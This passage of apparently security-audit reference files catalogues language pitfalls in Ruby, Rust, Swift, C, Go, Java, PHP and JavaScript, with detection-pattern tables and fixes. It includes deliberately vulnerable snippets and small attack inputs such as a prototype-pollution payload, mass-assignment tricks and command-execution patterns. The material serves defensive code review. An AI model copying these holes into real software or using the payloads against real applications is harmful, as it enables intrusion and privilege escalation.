|
||||
threads.each(&:join)
|
||||
|
||||
@counter # May not be 10000! Read-modify-write isn't atomic
|
||||
```
|
||||
|
||||
**Fix**: Use Mutex or atomic operations:
|
||||
```ruby
|
||||
mutex = Mutex.new
|
||||
mutex.synchronize { @counter += 1 }
|
||||
```
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `eval(`, `instance_eval(` | Code execution |
|
||||
| `.send(user_input`, `.public_send(` | Method injection |
|
||||
| `.constantize`, `const_get(` | Class injection |
|
||||
| `YAML.load(` | Deserialization RCE |
|
||||
| `.new(params[` without strong params | Mass assignment |
|
||||
| `where("... #{` | SQL injection |
|
||||
| `` `...#{` ``, `system("...#{` | Command injection |
|
||||
| `Regexp.new(user_input)` | ReDoS |
|
||||
| `params[:x].to_sym` | Symbol DoS (old Ruby) |
|
||||
| `ERB.new(user_input)` | Template injection |
|
||||
| `File.read("|...` or `File.open("|...` | Command execution |
|
||||
| `File.read(params[` without path validation | Path traversal |
|
||||
@@ -0,0 +1,272 @@
|
||||
# Rust Sharp Edges
|
||||
|
||||
## Integer Overflow Behavior Differs by Build
|
||||
|
||||
```rust
|
||||
// In debug builds: panics
|
||||
// In release builds: wraps silently!
|
||||
let x: u8 = 255;
|
||||
let y = x + 1; // Debug: panic! Release: y = 0
|
||||
|
||||
fn calculate_size(count: usize, element_size: usize) -> usize {
|
||||
count * element_size // Panics in debug, wraps in release
|
||||
}
|
||||
```
|
||||
|
||||
**The Problem**: Behavior differs between debug and release. Bugs may only manifest in production.
|
||||
|
||||
**Fix**: Use explicit methods:
|
||||
```rust
|
||||
// Wrapping (explicitly allows overflow)
|
||||
let y = x.wrapping_add(1);
|
||||
|
||||
// Checked (returns Option)
|
||||
let y = x.checked_add(1); // None if overflow
|
||||
|
||||
// Saturating (clamps to max/min)
|
||||
let y = x.saturating_add(1); // 255 if would overflow
|
||||
|
||||
// Overflowing (returns value + overflow flag)
|
||||
let (y, overflowed) = x.overflowing_add(1);
|
||||
```
|
||||
|
||||
## Unsafe Blocks
|
||||
|
||||
```rust
|
||||
// DANGEROUS: Unsafe disables Rust's safety guarantees
|
||||
unsafe {
|
||||
// Can dereference raw pointers
|
||||
let ptr: *const i32 = &42;
|
||||
let val = *ptr;
|
||||
|
||||
// Can call unsafe functions
|
||||
libc::free(ptr as *mut libc::c_void);
|
||||
|
||||
// Can access mutable statics
|
||||
GLOBAL_COUNTER += 1;
|
||||
|
||||
// Can implement unsafe traits
|
||||
}
|
||||
|
||||
// Real vulnerabilities from unsafe:
|
||||
// - CVE-2019-15548: memory safety bug in slice::from_raw_parts
|
||||
// - Many FFI-related vulnerabilities
|
||||
```
|
||||
|
||||
**Audit Focus**: Every `unsafe` block should have a SAFETY comment explaining invariants.
|
||||
|
||||
```rust
|
||||
// GOOD: Documented safety invariants
|
||||
// SAFETY: ptr is valid for reads of `len` bytes,
|
||||
// properly aligned, and the memory won't be mutated
|
||||
// for the lifetime 'a
|
||||
unsafe { std::slice::from_raw_parts(ptr, len) }
|
||||
```
|
||||
|
||||
## Mem::forget Skips Destructors
|
||||
|
||||
```rust
|
||||
// DANGEROUS: Resources never cleaned up
|
||||
let guard = mutex.lock().unwrap();
|
||||
std::mem::forget(guard); // Lock never released = deadlock
|
||||
|
||||
let file = File::open("data.txt")?;
|
||||
std::mem::forget(file); // File descriptor leaked
|
||||
|
||||
// Can be used to create memory unsafety with certain types
|
||||
let mut vec = vec![1, 2, 3];
|
||||
let ptr = vec.as_mut_ptr();
|
||||
std::mem::forget(vec); // Vec's memory leaked, but ptr still valid... maybe
|
||||
```
|
||||
|
||||
**Note**: `mem::forget` is safe (not `unsafe`), but can cause resource leaks and logical bugs.
|
||||
|
||||
## Panics and Unwinding
|
||||
|
||||
```rust
|
||||
// DANGEROUS: Panic in FFI boundary is UB
|
||||
#[no_mangle]
|
||||
pub extern "C" fn called_from_c() {
|
||||
panic!("oops"); // Undefined behavior!
|
||||
}
|
||||
|
||||
// SAFE: Catch panic at FFI boundary
|
||||
#[no_mangle]
|
||||
pub extern "C" fn called_from_c() -> i32 {
|
||||
match std::panic::catch_unwind(|| {
|
||||
might_panic();
|
||||
}) {
|
||||
Ok(_) => 0,
|
||||
Err(_) => -1,
|
||||
}
|
||||
}
|
||||
|
||||
// DANGEROUS: Panic in Drop can abort
|
||||
impl Drop for MyType {
|
||||
fn drop(&mut self) {
|
||||
if something_wrong() {
|
||||
panic!("in drop"); // If already unwinding, aborts!
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Unwrap and Expect
|
||||
|
||||
```rust
|
||||
// DANGEROUS: Panics on None/Err
|
||||
let value = some_option.unwrap(); // Panics if None
|
||||
let result = fallible_fn().unwrap(); // Panics if Err
|
||||
|
||||
// In libraries: propagate errors with ?
|
||||
fn library_fn() -> Result<T, E> {
|
||||
let value = fallible_fn()?; // Propagates error
|
||||
Ok(value)
|
||||
}
|
||||
|
||||
// In binaries: use expect() with context
|
||||
let config = load_config()
|
||||
.expect("failed to load config from config.toml");
|
||||
```
|
||||
|
||||
## Interior Mutability Pitfalls
|
||||
|
||||
```rust
|
||||
// DANGEROUS: RefCell panics at runtime on borrow violations
|
||||
use std::cell::RefCell;
|
||||
|
||||
let cell = RefCell::new(42);
|
||||
let borrow1 = cell.borrow_mut();
|
||||
let borrow2 = cell.borrow_mut(); // PANIC: already borrowed
|
||||
|
||||
// Can happen across function calls - hard to track
|
||||
fn takes_ref(cell: &RefCell<i32>) {
|
||||
let _b = cell.borrow_mut();
|
||||
other_fn(cell); // If this also borrows_mut: panic!
|
||||
}
|
||||
|
||||
// SAFER: Use try_borrow_mut
|
||||
if let Ok(mut borrow) = cell.try_borrow_mut() {
|
||||
*borrow += 1;
|
||||
}
|
||||
```
|
||||
|
||||
## Send and Sync Misuse
|
||||
|
||||
```rust
|
||||
// DANGEROUS: Incorrect Send/Sync implementations
|
||||
struct MyWrapper(*mut SomeType);
|
||||
|
||||
// This is WRONG if SomeType isn't thread-safe:
|
||||
unsafe impl Send for MyWrapper {}
|
||||
unsafe impl Sync for MyWrapper {}
|
||||
|
||||
// Real vulnerability: Rc<T> is not Send/Sync for good reason
|
||||
// Incorrectly marking a type as Send/Sync enables data races
|
||||
```
|
||||
|
||||
## Lifetime Elision Surprises
|
||||
|
||||
```rust
|
||||
// The compiler infers lifetimes, but sometimes wrong
|
||||
impl MyStruct {
|
||||
// Elided: fn get(&self) -> &str
|
||||
// Means: fn get<'a>(&'a self) -> &'a str
|
||||
fn get(&self) -> &str {
|
||||
&self.data
|
||||
}
|
||||
}
|
||||
|
||||
// But what if you return something else?
|
||||
impl MyStruct {
|
||||
// WRONG: Elision assumes output lifetime = self lifetime
|
||||
fn get_static(&self) -> &str {
|
||||
"static string" // Actually 'static, not 'self
|
||||
}
|
||||
|
||||
// RIGHT: Be explicit
|
||||
fn get_static(&self) -> &'static str {
|
||||
"static string"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Deref Coercion Confusion
|
||||
|
||||
```rust
|
||||
// Can be confusing when method resolution happens
|
||||
use std::ops::Deref;
|
||||
|
||||
struct Wrapper(String);
|
||||
impl Deref for Wrapper {
|
||||
type Target = String;
|
||||
fn deref(&self) -> &String { &self.0 }
|
||||
}
|
||||
|
||||
let w = Wrapper(String::from("hello"));
|
||||
w.len(); // Calls String::len via Deref
|
||||
w.capacity(); // Also String::capacity
|
||||
|
||||
// What if Wrapper has its own len()?
|
||||
impl Wrapper {
|
||||
fn len(&self) -> usize { 42 }
|
||||
}
|
||||
w.len(); // Now calls Wrapper::len, not String::len
|
||||
(*w).len(); // Explicitly calls String::len
|
||||
```
|
||||
|
||||
## Drop Order
|
||||
|
||||
```rust
|
||||
// Fields dropped in declaration order
|
||||
struct S {
|
||||
first: A, // Dropped last
|
||||
second: B, // Dropped first
|
||||
}
|
||||
|
||||
// Can cause issues if B depends on A
|
||||
struct Connection {
|
||||
pool: Arc<Pool>, // Dropped second
|
||||
conn: PooledConn, // Dropped first - needs pool!
|
||||
}
|
||||
|
||||
// Fix: reorder fields, or use ManuallyDrop
|
||||
```
|
||||
|
||||
## Macro Hygiene Gaps
|
||||
|
||||
```rust
|
||||
// macro_rules! has hygiene gaps
|
||||
macro_rules! make_var {
|
||||
($name:ident) => {
|
||||
let $name = 42;
|
||||
}
|
||||
}
|
||||
|
||||
make_var!(x);
|
||||
println!("{}", x); // Works - x is in scope
|
||||
|
||||
// But: macros can capture identifiers unexpectedly
|
||||
macro_rules! double {
|
||||
($e:expr) => {
|
||||
{ let x = $e; x + x } // Shadows any x in $e!
|
||||
}
|
||||
}
|
||||
|
||||
let x = 10;
|
||||
double!(x + 1) // Doesn't do what you expect
|
||||
```
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `+`, `-`, `*` on integers | Overflow (release wraps) |
|
||||
| `unsafe { }` | All bets off - audit carefully |
|
||||
| `mem::forget()` | Resource leak, deadlock |
|
||||
| `.unwrap()`, `.expect()` | Panic on None/Err |
|
||||
| `RefCell::borrow_mut()` | Runtime panic on double borrow |
|
||||
| `unsafe impl Send/Sync` | Potential data races |
|
||||
| `extern "C" fn` without catch_unwind | UB on panic |
|
||||
| Drop impl with panic | Double panic = abort |
|
||||
| Complex deref chains | Method resolution confusion |
|
||||
@@ -0,0 +1,287 @@
|
||||
# Swift Sharp Edges
|
||||
|
||||
## Force Unwrapping
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Crashes on nil
|
||||
let value = optionalValue! // Runtime crash if nil
|
||||
|
||||
// Common in:
|
||||
let cell = tableView.dequeueReusableCell(...)!
|
||||
let url = URL(string: userInput)!
|
||||
let data = try! JSONDecoder().decode(...)
|
||||
|
||||
// DANGEROUS: Implicitly Unwrapped Optionals
|
||||
var name: String! // IUO - crashes if accessed while nil
|
||||
|
||||
class ViewController: UIViewController {
|
||||
@IBOutlet weak var label: UILabel! // Nil before viewDidLoad
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Use optional binding or nil-coalescing:
|
||||
```swift
|
||||
if let value = optionalValue {
|
||||
use(value)
|
||||
}
|
||||
let value = optionalValue ?? defaultValue
|
||||
guard let value = optionalValue else { return }
|
||||
```
|
||||
|
||||
## try! and try?
|
||||
|
||||
```swift
|
||||
// DANGEROUS: try! crashes on error
|
||||
let data = try! Data(contentsOf: url)
|
||||
|
||||
// DANGEROUS: try? silently converts error to nil
|
||||
let data = try? Data(contentsOf: url)
|
||||
// No way to know if failure was "file not found" or "permission denied"
|
||||
|
||||
// DANGEROUS: Ignoring error completely
|
||||
do {
|
||||
try riskyOperation()
|
||||
} catch {
|
||||
// Error swallowed
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Handle errors explicitly:
|
||||
```swift
|
||||
do {
|
||||
let data = try Data(contentsOf: url)
|
||||
} catch let error as NSError where error.code == NSFileNoSuchFileError {
|
||||
// Handle file not found
|
||||
} catch {
|
||||
// Handle other errors
|
||||
}
|
||||
```
|
||||
|
||||
## as! Force Cast
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Crashes if cast fails
|
||||
let user = object as! User
|
||||
|
||||
// Common antipattern:
|
||||
let cell = tableView.dequeueReusableCell(...) as! CustomCell
|
||||
// Crashes if wrong identifier or wrong class
|
||||
```
|
||||
|
||||
**Fix**: Use conditional cast:
|
||||
```swift
|
||||
if let user = object as? User {
|
||||
use(user)
|
||||
}
|
||||
guard let user = object as? User else {
|
||||
return // or handle error
|
||||
}
|
||||
```
|
||||
|
||||
## String/NSString Bridging
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Different indexing semantics
|
||||
let nsString: NSString = "café"
|
||||
let swiftString = nsString as String
|
||||
|
||||
nsString.length // 5 (UTF-16 code units)
|
||||
swiftString.count // 4 (extended grapheme clusters)
|
||||
|
||||
// Range confusion:
|
||||
let range = nsString.range(of: "é") // NSRange (UTF-16)
|
||||
// Can't directly use with String (uses String.Index)
|
||||
|
||||
// DANGEROUS: Emoji handling
|
||||
let emoji = "👨👩👧👦" // Family emoji
|
||||
emoji.count // 1 (grapheme cluster)
|
||||
emoji.utf16.count // 11 (UTF-16)
|
||||
(emoji as NSString).length // 11
|
||||
```
|
||||
|
||||
## Reference Cycles
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Strong reference cycles cause memory leaks
|
||||
class Person {
|
||||
var apartment: Apartment?
|
||||
}
|
||||
class Apartment {
|
||||
var tenant: Person? // Strong reference
|
||||
}
|
||||
|
||||
let john = Person()
|
||||
let apt = Apartment()
|
||||
john.apartment = apt
|
||||
apt.tenant = john // Cycle! Neither deallocated
|
||||
|
||||
// DANGEROUS: Closures capture self strongly
|
||||
class MyClass {
|
||||
var callback: (() -> Void)?
|
||||
|
||||
func setup() {
|
||||
callback = {
|
||||
self.doSomething() // Strong capture of self
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**Fix**: Use `weak` or `unowned`:
|
||||
```swift
|
||||
class Apartment {
|
||||
weak var tenant: Person? // Weak breaks cycle
|
||||
}
|
||||
|
||||
callback = { [weak self] in
|
||||
self?.doSomething()
|
||||
}
|
||||
```
|
||||
|
||||
## Array/Dictionary Thread Safety
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Collections are not thread-safe
|
||||
var array = [Int]()
|
||||
|
||||
// Thread 1:
|
||||
array.append(1)
|
||||
|
||||
// Thread 2:
|
||||
array.append(2)
|
||||
|
||||
// Crash or corruption possible!
|
||||
```
|
||||
|
||||
**Fix**: Use serial dispatch queue, locks, or actors (Swift 5.5+):
|
||||
```swift
|
||||
actor SafeStorage {
|
||||
private var items = [Int]()
|
||||
|
||||
func add(_ item: Int) {
|
||||
items.append(item)
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Numeric Overflow
|
||||
|
||||
```swift
|
||||
// In debug: crashes (overflow check)
|
||||
// In release: also crashes by default (unlike C)
|
||||
let x: Int8 = 127
|
||||
let y = x + 1 // Fatal error: arithmetic overflow
|
||||
|
||||
// BUT: If using &+ operators, wraps silently
|
||||
let y = x &+ 1 // -128 (wrapping)
|
||||
```
|
||||
|
||||
This is safer than C, but `&+` operators can still cause issues.
|
||||
|
||||
## Uninitialized Properties
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Accessing before initialization
|
||||
class MyClass {
|
||||
var value: Int
|
||||
|
||||
init() {
|
||||
print(value) // Compile error in Swift, thankfully
|
||||
value = 42
|
||||
}
|
||||
}
|
||||
|
||||
// BUT: @objc interop can bypass
|
||||
// AND: Unsafe pointers have no initialization guarantees
|
||||
```
|
||||
|
||||
## Protocol Witness Table Issues
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Protocol with Self requirement
|
||||
protocol Equatable {
|
||||
static func ==(lhs: Self, rhs: Self) -> Bool
|
||||
}
|
||||
|
||||
// Can't use heterogeneously:
|
||||
var items: [Equatable] = [...] // Error!
|
||||
// Must use type erasure or existentials
|
||||
```
|
||||
|
||||
## KeyPath Subscript Confusion
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Similar syntax, different behavior
|
||||
struct User {
|
||||
var name: String
|
||||
subscript(key: String) -> String? { ... }
|
||||
}
|
||||
|
||||
user["name"] // Calls subscript
|
||||
user[keyPath: \.name] // Uses KeyPath
|
||||
|
||||
// Easy to confuse when debugging
|
||||
```
|
||||
|
||||
## Codable Pitfalls
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Decoding fails silently with wrong types
|
||||
struct User: Codable {
|
||||
var id: Int
|
||||
}
|
||||
|
||||
// JSON: {"id": "123"} // String, not Int
|
||||
// Throws DecodingError, but often caught broadly
|
||||
|
||||
// DANGEROUS: Missing keys
|
||||
struct User: Codable {
|
||||
var id: Int
|
||||
var name: String // Required
|
||||
}
|
||||
|
||||
// JSON: {"id": 1} // Missing "name"
|
||||
// Throws, but error message may not be clear
|
||||
```
|
||||
|
||||
**Fix**: Use explicit CodingKeys and handle errors:
|
||||
```swift
|
||||
struct User: Codable {
|
||||
var id: Int
|
||||
var name: String? // Optional for missing keys
|
||||
|
||||
enum CodingKeys: String, CodingKey {
|
||||
case id
|
||||
case name
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Objective-C Interop
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Objective-C returns nullable even when Swift sees non-optional
|
||||
@objc func legacyMethod() -> NSString // May actually return nil
|
||||
|
||||
// DANGEROUS: Objective-C exceptions not caught by Swift
|
||||
// NSException bypasses Swift error handling
|
||||
|
||||
// DANGEROUS: Objective-C performSelector
|
||||
let result = obj.perform(NSSelectorFromString(userInput))
|
||||
// Can call any method!
|
||||
```
|
||||
|
||||
## Detection Patterns
|
||||
|
||||
| Pattern | Risk |
|
||||
|---------|------|
|
||||
| `!` force unwrap | Crash on nil |
|
||||
| `as!` force cast | Crash on type mismatch |
|
||||
| `try!` | Crash on error |
|
||||
| `try?` without handling nil | Silent failure |
|
||||
| `String!` IUO types | Deferred crash |
|
||||
| Closure capturing `self` without `[weak self]` | Memory leak |
|
||||
| Collections modified from multiple threads | Race condition |
|
||||
| NSString/String conversion with ranges | Index mismatch |
|
||||
| `&+`, `&-`, `&*` operators | Silent overflow |
|
||||
| `@objc` methods returning non-optional | Nil bridge issues |
|
||||
@@ -0,0 +1,588 @@
|
||||
# Language-Specific Sharp Edges
|
||||
|
||||
General programming footguns by language—not limited to cryptography.
|
||||
|
||||
## C / C++
|
||||
|
||||
### Integer Overflow is Undefined Behavior
|
||||
|
||||
```c
|
||||
// DANGEROUS: Signed overflow is UB, compiler can optimize away checks
|
||||
int x = INT_MAX;
|
||||
if (x + 1 > x) { // Compiler may assume always true (UB)
|
||||
// Overflow check optimized away!
|
||||
}
|
||||
|
||||
// DANGEROUS: Size calculations
|
||||
size_t size = user_count * sizeof(struct User);
|
||||
// If user_count * sizeof overflows, allocates tiny buffer
|
||||
void *buf = malloc(size);
|
||||
```
|
||||
|
||||
**The Problem**: Signed integer overflow is undefined behavior. Compilers assume it never happens and optimize accordingly—including removing overflow checks.
|
||||
|
||||
### Buffer Handling
|
||||
|
||||
```c
|
||||
// DANGEROUS: No bounds checking
|
||||
char buf[64];
|
||||
strcpy(buf, user_input); // Classic overflow
|
||||
sprintf(buf, "Hello %s", name); // Format + overflow
|
||||
gets(buf); // Never use, removed in C11
|
||||
|
||||
// DANGEROUS: Off-by-one
|
||||
char buf[64];
|
||||
strncpy(buf, src, 64); // NOT null-terminated if src >= 64!
|
||||
buf[63] = '\0'; // Must do manually
|
||||
```
|
||||
|
||||
### Format Strings
|
||||
|
||||
```c
|
||||
// DANGEROUS: User controls format
|
||||
printf(user_input); // Format string attack
|
||||
syslog(LOG_INFO, user_input); // Same problem
|
||||
|
||||
// SAFE: Format as literal
|
||||
printf("%s", user_input);
|
||||
```
|
||||
|
||||
### Memory Cleanup
|
||||
|
||||
```c
|
||||
// DANGEROUS: Secrets persist
|
||||
char password[64];
|
||||
// ... use password ...
|
||||
memset(password, 0, sizeof(password)); // May be optimized away!
|
||||
|
||||
// SAFER: Use explicit_bzero or volatile
|
||||
explicit_bzero(password, sizeof(password)); // Won't be optimized
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Go
|
||||
|
||||
### Silent Integer Overflow
|
||||
|
||||
```go
|
||||
// DANGEROUS: Overflow wraps silently (no panic!)
|
||||
var x int32 = math.MaxInt32
|
||||
x = x + 1 // Wraps to -2147483648, no error
|
||||
|
||||
// This enables vulnerabilities in:
|
||||
// - Size calculations for allocations
|
||||
// - Loop bounds
|
||||
// - Financial calculations
|
||||
```
|
||||
|
||||
**The Problem**: Unlike Rust (debug panics), Go silently wraps. Fuzzing may never find overflow bugs because they don't crash.
|
||||
|
||||
### Slice Aliasing
|
||||
|
||||
```go
|
||||
// DANGEROUS: Slices share backing array
|
||||
original := []int{1, 2, 3, 4, 5}
|
||||
slice1 := original[1:3] // {2, 3}
|
||||
slice2 := original[2:4] // {3, 4}
|
||||
|
||||
slice1[1] = 999 // Modifies original AND slice2!
|
||||
// slice2 is now {999, 4}
|
||||
```
|
||||
|
||||
### Interface Nil Confusion
|
||||
|
||||
```go
|
||||
// DANGEROUS: Typed nil vs untyped nil
|
||||
var p *MyStruct = nil
|
||||
var i interface{} = p
|
||||
|
||||
if i == nil {
|
||||
// This is FALSE! i holds (type=*MyStruct, value=nil)
|
||||
// An interface is only nil if both type and value are nil
|
||||
}
|
||||
|
||||
// Common in error handling:
|
||||
func getError() error {
|
||||
var err *MyError = nil
|
||||
return err // Returns non-nil error interface!
|
||||
}
|
||||
```
|
||||
|
||||
### JSON Field Matching
|
||||
|
||||
```go
|
||||
// DANGEROUS: Go's JSON decoder is case-insensitive
|
||||
type User struct {
|
||||
Admin bool `json:"admin"`
|
||||
}
|
||||
|
||||
// Attacker sends: {"ADMIN": true} or {"Admin": true}
|
||||
// Both match the "admin" field!
|
||||
|
||||
// Also: duplicate keys - last one wins
|
||||
// {"admin": false, "admin": true} → Admin = true
|
||||
```
|
||||
|
||||
**Fix**: Use `DisallowUnknownFields()` and consider exact-match libraries.
|
||||
|
||||
### Defer in Loops
|
||||
|
||||
```go
|
||||
// DANGEROUS: All defers execute at function end, not loop iteration
|
||||
for _, file := range files {
|
||||
f, _ := os.Open(file)
|
||||
defer f.Close() // Files stay open until function returns!
|
||||
}
|
||||
// Can exhaust file descriptors on large loops
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Rust
|
||||
|
||||
### Integer Overflow Behavior Changes
|
||||
|
||||
```rust
|
||||
// In debug builds: panics
|
||||
// In release builds: wraps silently!
|
||||
let x: u8 = 255;
|
||||
let y = x + 1; // Debug: panic! Release: y = 0
|
||||
```
|
||||
|
||||
**The Problem**: Behavior differs between debug and release. Bugs may only manifest in production.
|
||||
|
||||
**Fix**: Use `wrapping_*`, `checked_*`, or `saturating_*` explicitly.
|
||||
|
||||
### Unsafe Blocks
|
||||
|
||||
```rust
|
||||
// DANGEROUS: Unsafe disables Rust's safety guarantees
|
||||
unsafe {
|
||||
// Can create data races
|
||||
// Can dereference raw pointers
|
||||
// Can call unsafe functions
|
||||
// Can access mutable statics
|
||||
}
|
||||
|
||||
// Common in FFI—audit all unsafe blocks carefully
|
||||
```
|
||||
|
||||
### Mem::forget Skips Destructors
|
||||
|
||||
```rust
|
||||
// DANGEROUS: Resources never cleaned up
|
||||
let guard = Mutex::lock().unwrap();
|
||||
std::mem::forget(guard); // Lock never released = deadlock
|
||||
|
||||
// Also problematic for:
|
||||
// - File handles
|
||||
// - Memory mappings
|
||||
// - Cryptographic key cleanup
|
||||
```
|
||||
|
||||
### Unwrap Panics
|
||||
|
||||
```rust
|
||||
// DANGEROUS: Panics on None/Err
|
||||
let value = some_option.unwrap(); // Panics if None
|
||||
let result = fallible_fn().unwrap(); // Panics if Err
|
||||
|
||||
// In libraries: propagate errors with ?
|
||||
// In binaries: use expect() with message, or handle properly
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Swift
|
||||
|
||||
### Force Unwrapping
|
||||
|
||||
```swift
|
||||
// DANGEROUS: Crashes on nil
|
||||
let value = optionalValue! // Runtime crash if nil
|
||||
|
||||
// DANGEROUS: Implicitly unwrapped optionals
|
||||
var name: String! // IUO - crashes if accessed while nil
|
||||
```
|
||||
|
||||
### Bridge Type Surprises
|
||||
|
||||
```swift
|
||||
// DANGEROUS: NSString/String bridging
|
||||
let nsString: NSString = "hello"
|
||||
let range = nsString.range(of: "é") // UTF-16 range
|
||||
let swiftString = nsString as String
|
||||
// Range semantics differ between NSString (UTF-16) and String (grapheme clusters)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Java
|
||||
|
||||
### Equality Confusion
|
||||
|
||||
```java
|
||||
// DANGEROUS: Reference equality, not value equality
|
||||
String a = new String("hello");
|
||||
String b = new String("hello");
|
||||
if (a == b) { // FALSE - different objects
|
||||
}
|
||||
|
||||
Integer x = 128;
|
||||
Integer y = 128;
|
||||
if (x == y) { // FALSE - outside cached range [-128, 127]
|
||||
}
|
||||
|
||||
Integer p = 127;
|
||||
Integer q = 127;
|
||||
if (p == q) { // TRUE - cached, but misleading
|
||||
}
|
||||
```
|
||||
|
||||
### Type Erasure
|
||||
|
||||
```java
|
||||
// DANGEROUS: Generic types erased at runtime
|
||||
List<String> strings = new ArrayList<>();
|
||||
List<Integer> ints = new ArrayList<>();
|
||||
|
||||
// At runtime, both are just "List" - no type checking
|
||||
// Can cast incorrectly and get ClassCastException later
|
||||
|
||||
// Also: can't do runtime checks
|
||||
if (obj instanceof List<String>) { // Compile error
|
||||
}
|
||||
```
|
||||
|
||||
### Serialization
|
||||
|
||||
```java
|
||||
// DANGEROUS: Like pickle, arbitrary code execution
|
||||
ObjectInputStream ois = new ObjectInputStream(untrustedInput);
|
||||
Object obj = ois.readObject(); // Executes readObject() on malicious classes
|
||||
|
||||
// "Gadget chains" in libraries enable RCE
|
||||
// Even without executing readObject(), deserialization triggers code
|
||||
```
|
||||
|
||||
### Swallowed Exceptions
|
||||
|
||||
```java
|
||||
// DANGEROUS: Empty catch blocks
|
||||
try {
|
||||
sensitiveOperation();
|
||||
} catch (Exception e) {
|
||||
// Silently swallowed - security failure masked
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Kotlin
|
||||
|
||||
### Platform Types from Java
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Java returns can be null, but Kotlin doesn't know
|
||||
val result = javaLibrary.getValue() // Platform type: String!
|
||||
result.length // NPE if Java returned null!
|
||||
|
||||
// Kotlin trusts Java's lack of nullability annotations
|
||||
```
|
||||
|
||||
### Not-Null Assertion
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Throws NPE
|
||||
val value = nullableValue!! // KotlinNullPointerException if null
|
||||
```
|
||||
|
||||
### Lateinit Pitfalls
|
||||
|
||||
```kotlin
|
||||
// DANGEROUS: Accessing before initialization throws
|
||||
lateinit var config: Config
|
||||
|
||||
fun process() {
|
||||
config.value // UninitializedPropertyAccessException
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## C#
|
||||
|
||||
### Nullable Reference Types Opt-In
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: NRT is opt-in, not enforced by default
|
||||
// Project must enable: <Nullable>enable</Nullable>
|
||||
|
||||
// Even when enabled, it's warnings only by default
|
||||
string? nullable = null;
|
||||
string nonNull = nullable; // Warning, not error
|
||||
nonNull.Length; // NullReferenceException at runtime
|
||||
```
|
||||
|
||||
### Default Struct Values
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: Structs have default values that may be invalid
|
||||
struct Connection {
|
||||
public string Host; // Default: null
|
||||
public int Port; // Default: 0
|
||||
}
|
||||
|
||||
var conn = default(Connection);
|
||||
// conn.Host is null, conn.Port is 0 - probably invalid
|
||||
```
|
||||
|
||||
### IDisposable Leaks
|
||||
|
||||
```csharp
|
||||
// DANGEROUS: Resources not disposed
|
||||
var conn = new SqlConnection(connectionString);
|
||||
conn.Open();
|
||||
// Exception here = connection never closed
|
||||
|
||||
// SAFE: using statement
|
||||
using var conn = new SqlConnection(connectionString);
|
||||
conn.Open();
|
||||
// Disposed even on exception
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## PHP
|
||||
|
||||
### Type Juggling
|
||||
|
||||
```php
|
||||
// DANGEROUS: Loose comparison (==) does type coercion
|
||||
"0e123" == "0e456" // TRUE - both are 0 in scientific notation
|
||||
"0" == false // TRUE
|
||||
"" == false // TRUE
|
||||
[] == false // TRUE
|
||||
null == false // TRUE
|
||||
|
||||
// Magic hash comparison
|
||||
"0e462097431906509019562988736854" == "0" // TRUE
|
||||
// MD5("240610708") starts with 0e... = compares as 0
|
||||
|
||||
// SAFE: Strict comparison (===)
|
||||
"0e123" === "0e456" // FALSE
|
||||
```
|
||||
|
||||
### Variable Variables and Extract
|
||||
|
||||
```php
|
||||
// DANGEROUS: User controls variable names
|
||||
$name = $_GET['name'];
|
||||
$$name = $_GET['value']; // Variable variable - arbitrary assignment
|
||||
|
||||
// DANGEROUS: Extract creates variables from array
|
||||
extract($_POST); // Every POST param becomes a variable
|
||||
// Attacker sends: POST isAdmin=true → $isAdmin = true
|
||||
```
|
||||
|
||||
### Unserialize
|
||||
|
||||
```php
|
||||
// DANGEROUS: Like pickle, arbitrary object instantiation
|
||||
$obj = unserialize($user_input);
|
||||
|
||||
// Triggers __wakeup(), __destruct() on crafted objects
|
||||
// Can chain to RCE via "POP gadgets" in libraries
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## JavaScript / TypeScript
|
||||
|
||||
### Coercion Madness
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: == coerces types unpredictably
|
||||
"0" == false // true
|
||||
"" == false // true
|
||||
[] == false // true
|
||||
[] == ![] // true (wat)
|
||||
|
||||
// SAFE: === for strict equality
|
||||
"0" === false // false
|
||||
```
|
||||
|
||||
### Prototype Pollution
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: Merging untrusted objects
|
||||
function merge(target, source) {
|
||||
for (let key in source) {
|
||||
target[key] = source[key]; // Includes __proto__!
|
||||
}
|
||||
}
|
||||
|
||||
// Attacker sends: {"__proto__": {"isAdmin": true}}
|
||||
merge({}, userInput);
|
||||
// Now ALL objects have isAdmin === true
|
||||
({}).isAdmin // true
|
||||
```
|
||||
|
||||
**Fix**: Check `hasOwnProperty`, use `Object.create(null)`, or safe merge libraries.
|
||||
|
||||
### Regex DoS (ReDoS)
|
||||
|
||||
```javascript
|
||||
// DANGEROUS: Catastrophic backtracking
|
||||
const regex = /^(a+)+$/;
|
||||
